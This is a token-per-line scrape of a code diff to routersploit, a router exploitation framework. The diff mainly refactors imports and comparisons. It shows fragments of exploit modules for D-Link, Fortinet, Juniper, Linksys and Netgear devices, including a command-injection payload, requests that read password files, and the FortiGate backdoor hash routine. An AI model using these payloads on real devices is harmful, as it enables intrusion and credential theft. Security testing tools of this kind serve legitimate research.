"GO=&jump="
+
"A"
*
1379
+
";echo 9fdbd928b52c1ef61615a6fd2e8b49af;&ps=
\n\n
"
try
:
try
:
r
=
requests
.
post
(
url
,
headers
=
headers
,
data
=
data
,
verify
=
False
)
r
=
requests
.
post
(
url
,
headers
=
headers
,
data
=
data
,
verify
=
False
)
...
@@ -72,4 +78,3 @@ class Exploit(exploits.Exploit):
...
@@ -72,4 +78,3 @@ class Exploit(exploits.Exploit):
return
True
# target vulnerable
return
True
# target vulnerable
return
False
# target is not vulnerable
return
False
# target is not vulnerable
routersploit/modules/exploits/dlink/dir_300_320_615_auth_bypass.py
View file @
d4152b25
import
requests
import
requests
import
re
from
routersploit
import
*
from
routersploit
import
(
exploits
,
print_success
,
print_error
,
sanitize_url
,
)
class
Exploit
(
exploits
.
Exploit
):
class
Exploit
(
exploits
.
Exploit
):
...
@@ -64,4 +68,3 @@ class Exploit(exploits.Exploit):
...
@@ -64,4 +68,3 @@ class Exploit(exploits.Exploit):
return
True
# target vulnerable
return
True
# target vulnerable
return
False
# target not vulnerable
return
False
# target not vulnerable
routersploit/modules/exploits/dlink/dir_300_600_615_info_disclosure.py
View file @
d4152b25
import
requests
import
requests
import
re
import
re
from
routersploit
import
*
from
routersploit
import
(
exploits
,
sanitize_url
,
print_error
,
print_success
,
print_table
,
)
class
Exploit
(
exploits
.
Exploit
):
class
Exploit
(
exploits
.
Exploit
):
...
@@ -52,7 +58,6 @@ class Exploit(exploits.Exploit):
...
@@ -52,7 +58,6 @@ class Exploit(exploits.Exploit):
else
:
else
:
print_error
(
"Credentials could not be found"
)
print_error
(
"Credentials could not be found"
)
def
check
(
self
):
def
check
(
self
):
url
=
sanitize_url
(
"{}:{}/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd"
.
format
(
self
.
target
,
self
.
port
))
url
=
sanitize_url
(
"{}:{}/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd"
.
format
(
self
.
target
,
self
.
port
))
...
@@ -67,4 +72,3 @@ class Exploit(exploits.Exploit):
...
@@ -67,4 +72,3 @@ class Exploit(exploits.Exploit):
return
True
# target vulnerable
return
True
# target vulnerable
return
False
# target not vulnerable
return
False
# target not vulnerable
routersploit/modules/exploits/dlink/dir_300_600_rce.py
View file @
d4152b25
import
requests
import
requests
from
routersploit
import
*
from
routersploit
import
(
exploits
,
sanitize_url
,
print_error
,
print_success
,
print_status
,
)
class
Exploit
(
exploits
.
Exploit
):
class
Exploit
(
exploits
.
Exploit
):
...
@@ -30,7 +36,7 @@ class Exploit(exploits.Exploit):
...
@@ -30,7 +36,7 @@ class Exploit(exploits.Exploit):
port
=
exploits
.
Option
(
80
,
'Target Port'
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
def
run
(
self
):
def
run
(
self
):
if
self
.
check
()
==
True
:
if
self
.
check
()
is
True
:
print_success
(
"Target is vulnerable"
)
print_success
(
"Target is vulnerable"
)
print_status
(
"Invoking command loop..."
)
print_status
(
"Invoking command loop..."
)
self
.
command_loop
()
self
.
command_loop
()
...
@@ -72,4 +78,3 @@ class Exploit(exploits.Exploit):
...
@@ -72,4 +78,3 @@ class Exploit(exploits.Exploit):
return
True
return
True
return
False
return
False
routersploit/modules/exploits/dlink/dir_645_password_disclosure.py
View file @
d4152b25
import
requests
import
requests
import
re
import
re
from
routersploit
import
*
from
routersploit
import
(
exploits
,
sanitize_url
,
print_error
,
print_success
,
print_table
,
)
class
Exploit
(
exploits
.
Exploit
):
class
Exploit
(
exploits
.
Exploit
):
...
@@ -57,7 +63,6 @@ class Exploit(exploits.Exploit):
...
@@ -57,7 +63,6 @@ class Exploit(exploits.Exploit):
else
:
else
:
print_error
(
"Credentials could not be found"
)
print_error
(
"Credentials could not be found"
)
def
check
(
self
):
def
check
(
self
):
# address and parameters
# address and parameters
url
=
sanitize_url
(
"{}:{}/getcfg.php"
.
format
(
self
.
target
,
self
.
port
))
url
=
sanitize_url
(
"{}:{}/getcfg.php"
.
format
(
self
.
target
,
self
.
port
))
...
@@ -78,4 +83,3 @@ class Exploit(exploits.Exploit):
...
@@ -78,4 +83,3 @@ class Exploit(exploits.Exploit):
return
True
# target vulnerable
return
True
# target vulnerable
return
False
# target not vulnerable
return
False
# target not vulnerable
routersploit/modules/exploits/dlink/dns_320l_327l_rce.py
View file @
d4152b25
import
requests
import
requests
import
re
import
re
from
routersploit
import
*
from
routersploit
import
(
exploits
,
print_success
,
print_status
,
print_error
,
sanitize_url
,
)
class
Exploit
(
exploits
.
Exploit
):
class
Exploit
(
exploits
.
Exploit
):
...
@@ -29,7 +35,7 @@ class Exploit(exploits.Exploit):
...
@@ -29,7 +35,7 @@ class Exploit(exploits.Exploit):
port
=
exploits
.
Option
(
80
,
'Target Port'
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
def
run
(
self
):
def
run
(
self
):
if
self
.
check
()
==
True
:
if
self
.
check
()
is
True
:
print_success
(
"Target is vulnerable"
)
print_success
(
"Target is vulnerable"
)
print_status
(
"Invoking command loop..."
)
print_status
(
"Invoking command loop..."
)
self
.
command_loop
()
self
.
command_loop
()
...
@@ -65,13 +71,10 @@ class Exploit(exploits.Exploit):
...
@@ -65,13 +71,10 @@ class Exploit(exploits.Exploit):
try
:
try
:
r
=
requests
.
get
(
url
)
r
=
requests
.
get
(
url
)
res
=
r
.
text
except
:
except
:
return
None
return
None
if
"9fdbd928b52c1ef61615a6fd2e8b49af"
in
r
:
if
"9fdbd928b52c1ef61615a6fd2e8b49af"
in
r
:
return
True
return
True
return
False
return
False
routersploit/modules/exploits/dlink/dsl_2750b_info_disclosure.py
View file @
d4152b25
import
requests
import
requests
import
re
import
re
from
routersploit
import
*
from
routersploit
import
(
exploits
,
print_success
,
print_error
,
sanitize_url
,
print_table
,
)
class
Exploit
(
exploits
.
Exploit
):
class
Exploit
(
exploits
.
Exploit
):
...
@@ -50,7 +56,7 @@ class Exploit(exploits.Exploit):
...
@@ -50,7 +56,7 @@ class Exploit(exploits.Exploit):
val
=
re
.
findall
(
regexp
,
res
)
val
=
re
.
findall
(
regexp
,
res
)
if
len
(
val
):
if
len
(
val
):
creds
.
append
((
d
,
val
[
0
]))
creds
.
append
((
d
,
val
[
0
]))
if
len
(
creds
):
if
len
(
creds
):
print_success
(
"Credentials found!"
)
print_success
(
"Credentials found!"
)
...
@@ -61,7 +67,6 @@ class Exploit(exploits.Exploit):
...
@@ -61,7 +67,6 @@ class Exploit(exploits.Exploit):
else
:
else
:
print_error
(
"Credentials could not be found"
)
print_error
(
"Credentials could not be found"
)
def
check
(
self
):
def
check
(
self
):
url
=
sanitize_url
(
"{}:{}/hidden_info.html"
.
format
(
self
.
target
,
self
.
port
))
url
=
sanitize_url
(
"{}:{}/hidden_info.html"
.
format
(
self
.
target
,
self
.
port
))
...
@@ -75,4 +80,3 @@ class Exploit(exploits.Exploit):
...
@@ -75,4 +80,3 @@ class Exploit(exploits.Exploit):
return
True
# target vulnerable
return
True
# target vulnerable
return
False
# target not vulnerable
return
False
# target not vulnerable
routersploit/modules/exploits/dlink/dwr_932_info_disclosure.py
View file @
d4152b25
import
requests
import
requests
import
json
import
json
from
routersploit
import
*
from
routersploit
import
(
exploits
,
print_success
,
print_error
,
sanitize_url
,
print_table
,
print_status
,
)
class
Exploit
(
exploits
.
Exploit
):
class
Exploit
(
exploits
.
Exploit
):
...
@@ -59,7 +66,6 @@ class Exploit(exploits.Exploit):
...
@@ -59,7 +66,6 @@ class Exploit(exploits.Exploit):
headers
=
(
"Parameter"
,
"Value"
)
headers
=
(
"Parameter"
,
"Value"
)
print_table
(
headers
,
*
rows
)
print_table
(
headers
,
*
rows
)
def
check
(
self
):
def
check
(
self
):
url
=
sanitize_url
(
"{}:{}/cgi-bin/dget.cgi?cmd=wifi_AP1_ssid,wifi_AP1_hidden,wifi_AP1_passphrase,wifi_AP1_passphrase_wep,wifi_AP1_security_mode,wifi_AP1_enable,get_mac_filter_list,get_mac_filter_switch,get_client_list,get_mac_address,get_wps_dev_pin,get_wps_mode,get_wps_enable,get_wps_current_time&_=1458458152703"
.
format
(
self
.
target
,
self
.
port
))
url
=
sanitize_url
(
"{}:{}/cgi-bin/dget.cgi?cmd=wifi_AP1_ssid,wifi_AP1_hidden,wifi_AP1_passphrase,wifi_AP1_passphrase_wep,wifi_AP1_security_mode,wifi_AP1_enable,get_mac_filter_list,get_mac_filter_switch,get_client_list,get_mac_address,get_wps_dev_pin,get_wps_mode,get_wps_enable,get_wps_current_time&_=1458458152703"
.
format
(
self
.
target
,
self
.
port
))
...
@@ -73,4 +79,3 @@ class Exploit(exploits.Exploit):
...
@@ -73,4 +79,3 @@ class Exploit(exploits.Exploit):
return
True
# target is vulnerable
return
True
# target is vulnerable
return
False
# target not vulnerable
return
False
# target not vulnerable
routersploit/modules/exploits/fortinet/fortigate_os_backdoor.py
View file @
d4152b25
...
@@ -8,7 +8,12 @@ import tty
...
@@ -8,7 +8,12 @@ import tty
import
sys
import
sys
from
paramiko.py3compat
import
u
from
paramiko.py3compat
import
u
from
routersploit
import
*
from
routersploit
import
(
exploits
,
print_success
,
print_error
,
print_status
,
)
class
Exploit
(
exploits
.
Exploit
):
class
Exploit
(
exploits
.
Exploit
):
...
@@ -92,7 +97,6 @@ class Exploit(exploits.Exploit):
...
@@ -92,7 +97,6 @@ class Exploit(exploits.Exploit):
finally
:
finally
:
termios
.
tcsetattr
(
sys
.
stdin
,
termios
.
TCSADRAIN
,
oldtty
)
termios
.
tcsetattr
(
sys
.
stdin
,
termios
.
TCSADRAIN
,
oldtty
)
def
check
(
self
):
def
check
(
self
):
client
=
paramiko
.
SSHClient
()
client
=
paramiko
.
SSHClient
()
client
.
set_missing_host_key_policy
(
paramiko
.
AutoAddPolicy
())
client
.
set_missing_host_key_policy
(
paramiko
.
AutoAddPolicy
())
...
@@ -127,4 +131,3 @@ class Exploit(exploits.Exploit):
...
@@ -127,4 +131,3 @@ class Exploit(exploits.Exploit):
m
.
update
(
'
\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70
'
)
m
.
update
(
'
\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70
'
)
h
=
'AK1'
+
base64
.
b64encode
(
'
\x00
'
*
12
+
m
.
digest
())
h
=
'AK1'
+
base64
.
b64encode
(
'
\x00
'
*
12
+
m
.
digest
())
return
[
h
]
return
[
h
]
routersploit/modules/exploits/juniper/screenos_backdoor.py
View file @
d4152b25
import
paramiko
import
paramiko
import
telnetlib
import
telnetlib
import
select
import
socket
from
routersploit
import
*
from
routersploit
import
(
exploits
,
print_success
,
print_error
,
)
class
Exploit
(
exploits
.
Exploit
):
class
Exploit
(
exploits
.
Exploit
):
...
@@ -58,12 +60,12 @@ class Exploit(exploits.Exploit):
...
@@ -58,12 +60,12 @@ class Exploit(exploits.Exploit):
tn
.
write
(
self
.
password
+
"
\r\n
"
)
tn
.
write
(
self
.
password
+
"
\r\n
"
)
tn
.
write
(
"
\r\n
"
)
tn
.
write
(
"
\r\n
"
)
(
i
,
obj
,
res
)
=
tn
.
expect
([
"Incorrect"
,
"incorrect"
],
5
)
(
i
,
obj
,
res
)
=
tn
.
expect
([
"Incorrect"
,
"incorrect"
],
5
)
if
i
!=
-
1
:
if
i
!=
-
1
:
return
False
return
False
else
:
else
:
if
any
(
map
(
lambda
x
:
x
in
res
,
[
"#"
,
"$"
,
">"
])):
if
any
(
map
(
lambda
x
:
x
in
res
,
[
"#"
,
"$"
,
">"
])):
print_success
(
"Telnet - Successful authentication"
)
print_success
(
"Telnet - Successful authentication"
)
tn
.
write
(
"
\r\n
"
)
tn
.
write
(
"
\r\n
"
)
tn
.
interact
()
tn
.
interact
()
...
@@ -92,13 +94,13 @@ class Exploit(exploits.Exploit):
...
@@ -92,13 +94,13 @@ class Exploit(exploits.Exploit):
tn
.
write
(
self
.
password
+
"
\r\n
"
)
tn
.
write
(
self
.
password
+
"
\r\n
"
)
tn
.
write
(
"
\r\n
"
)
tn
.
write
(
"
\r\n
"
)
(
i
,
obj
,
res
)
=
tn
.
expect
([
"Incorrect"
,
"incorrect"
],
5
)
(
i
,
obj
,
res
)
=
tn
.
expect
([
"Incorrect"
,
"incorrect"
],
5
)
tn
.
close
()
tn
.
close
()
if
i
!=
-
1
:
if
i
!=
-
1
:
return
False
return
False
else
:
else
:
if
any
(
map
(
lambda
x
:
x
in
res
,
[
"#"
,
"$"
,
">"
])):
if
any
(
map
(
lambda
x
:
x
in
res
,
[
"#"
,
"$"
,
">"
])):
tn
.
close
()
tn
.
close
()
return
True
return
True
tn
.
close
()
tn
.
close
()
...
@@ -106,4 +108,3 @@ class Exploit(exploits.Exploit):
...
@@ -106,4 +108,3 @@ class Exploit(exploits.Exploit):
return
False
return
False
return
False
return
False
routersploit/modules/exploits/linksys/wap54gv3_rce.py
View file @
d4152b25
import
requests
import
requests
import
re
import
re
from
routersploit
import
*
from
routersploit
import
(
exploits
,
print_success
,
print_error
,
print_status
,
sanitize_url
,
)
class
Exploit
(
exploits
.
Exploit
):
class
Exploit
(
exploits
.
Exploit
):
...
@@ -28,7 +34,7 @@ class Exploit(exploits.Exploit):
...
@@ -28,7 +34,7 @@ class Exploit(exploits.Exploit):
port
=
exploits
.
Option
(
80
,
'Target Port'
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
def
run
(
self
):
def
run
(
self
):
if
self
.
check
()
==
True
:
if
self
.
check
()
is
True
:
print_success
(
"Target is vulnerable"
)
print_success
(
"Target is vulnerable"
)
print_status
(
"Invoking command loop..."
)
print_status
(
"Invoking command loop..."
)
self
.
command_loop
()
self
.
command_loop
()
...
@@ -74,4 +80,3 @@ class Exploit(exploits.Exploit):
...
@@ -74,4 +80,3 @@ class Exploit(exploits.Exploit):
return
True
return
True
return
False
return
False
routersploit/modules/exploits/multi/misfortune_cookie.py
View file @
d4152b25
import
requests
import
requests
import
re
import
re
from
routersploit
import
*
from
routersploit
import
(
exploits
,
print_success
,
print_error
,
sanitize_url
,
)
class
Exploit
(
exploits
.
Exploit
):
class
Exploit
(
exploits
.
Exploit
):
...
@@ -44,7 +49,6 @@ class Exploit(exploits.Exploit):
...
@@ -44,7 +49,6 @@ class Exploit(exploits.Exploit):
'Cache-Control'
:
'no-cache'
,
'Cache-Control'
:
'no-cache'
,
'Cookie'
:
'C107373883=/omg1337hax'
}
'Cookie'
:
'C107373883=/omg1337hax'
}
try
:
try
:
r
=
requests
.
get
(
url
,
headers
=
headers
)
r
=
requests
.
get
(
url
,
headers
=
headers
)
...
@@ -62,6 +66,4 @@ class Exploit(exploits.Exploit):
...
@@ -62,6 +66,4 @@ class Exploit(exploits.Exploit):
except
:
except
:
return
None
# could not be verified
return
None
# could not be verified
return
False
# target not vulnerable
return
False
# target not vulnerable
routersploit/modules/exploits/netgear/n300_auth_bypass.py
View file @
d4152b25
import
requests
import
requests
import
re
from
routersploit
import
*
from
routersploit
import
(
exploits
,
print_success
,
print_error
,
sanitize_url
,
)
class
Exploit
(
exploits
.
Exploit
):
class
Exploit
(
exploits
.
Exploit
):
...
@@ -51,4 +55,3 @@ class Exploit(exploits.Exploit):
...
@@ -51,4 +55,3 @@ class Exploit(exploits.Exploit):
return
True
return
True
return
False
# target not vulnerable
return
False
# target not vulnerable
routersploit/modules/scanners/dlink_scan.py
View file @
d4152b25
from
routersploit
import
*
from
os
import
listdir
from
os
import
listdir
from
os.path
import
isfile
,
join
from
os.path
import
isfile
,
join
import
imp
import
imp
from
routersplot
import
(
exploits
,
print_success
,
print_error
,
print_status
,
)
class
Exploit
(
exploits
.
Exploit
):
class
Exploit
(
exploits
.
Exploit
):
"""
"""
...
@@ -20,12 +26,11 @@ class Exploit(exploits.Exploit):
...
@@ -20,12 +26,11 @@ class Exploit(exploits.Exploit):
port
=
exploits
.
Option
(
80
,
'Target port'
)
# default port
port
=
exploits
.
Option
(
80
,
'Target port'
)
# default port
def
run
(
self
):
def
run
(
self
):
exploits
=
[]
rootpath
=
'routersploit/modules/'
rootpath
=
'routersploit/modules/'
path
=
'exploits/dlink/'
path
=
'exploits/dlink/'
# only py exploit files
# only py exploit files
modules
=
[
f
.
replace
(
".py"
,
""
)
for
f
in
listdir
(
rootpath
+
path
)
if
isfile
(
join
(
rootpath
+
path
,
f
))
and
f
.
endswith
(
".py"
)
and
f
!=
"__init__.py"
]
modules
=
[
f
.
replace
(
".py"
,
""
)
for
f
in
listdir
(
rootpath
+
path
)
if
isfile
(
join
(
rootpath
+
path
,
f
))
and
f
.
endswith
(
".py"
)
and
f
!=
"__init__.py"
]
vulns
=
[]
vulns
=
[]
for
module_name
in
modules
:
for
module_name
in
modules
:
...
@@ -58,4 +63,3 @@ class Exploit(exploits.Exploit):
...
@@ -58,4 +63,3 @@ class Exploit(exploits.Exploit):
def
check
(
self
):
def
check
(
self
):
print_error
(
"Check method is not available"
)
print_error
(
"Check method is not available"
)
routersploit/utils.py
View file @
d4152b25
...
@@ -122,7 +122,8 @@ class LockedIterator(object):
...
@@ -122,7 +122,8 @@ class LockedIterator(object):
self
.
lock
=
threading
.
Lock
()
self
.
lock
=
threading
.
Lock
()
self
.
it
=
it
.
__iter__
()
self
.
it
=
it
.
__iter__
()
def
__iter__
(
self
):
return
self
def
__iter__
(
self
):
return
self
def
next
(
self
):
def
next
(
self
):
self
.
lock
.
acquire
()
self
.
lock
.
acquire
()
...
@@ -170,7 +171,7 @@ def print_table(headers, *args, **kwargs):
...
@@ -170,7 +171,7 @@ def print_table(headers, *args, **kwargs):
headers_line
=
""
.
join
((
headers_line
,
"{header:<{fill}}"
.
format
(
header
=
header
,
fill
=
current_line_fill
)))
headers_line
=
""
.
join
((
headers_line
,
"{header:<{fill}}"
.
format
(
header
=
header
,
fill
=
current_line_fill
)))
headers_separator_line
=
""
.
join
((
headers_separator_line
=
""
.
join
((
headers_separator_line
,
headers_separator_line
,
'{:<{}}'
.
format
(
header_separator
*
len
(
header
),
current_line_fill
)
'{:<{}}'
.
format
(
header_separator
*
len
(
header
),
current_line_fill
)
))
))
print
()
print
()
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment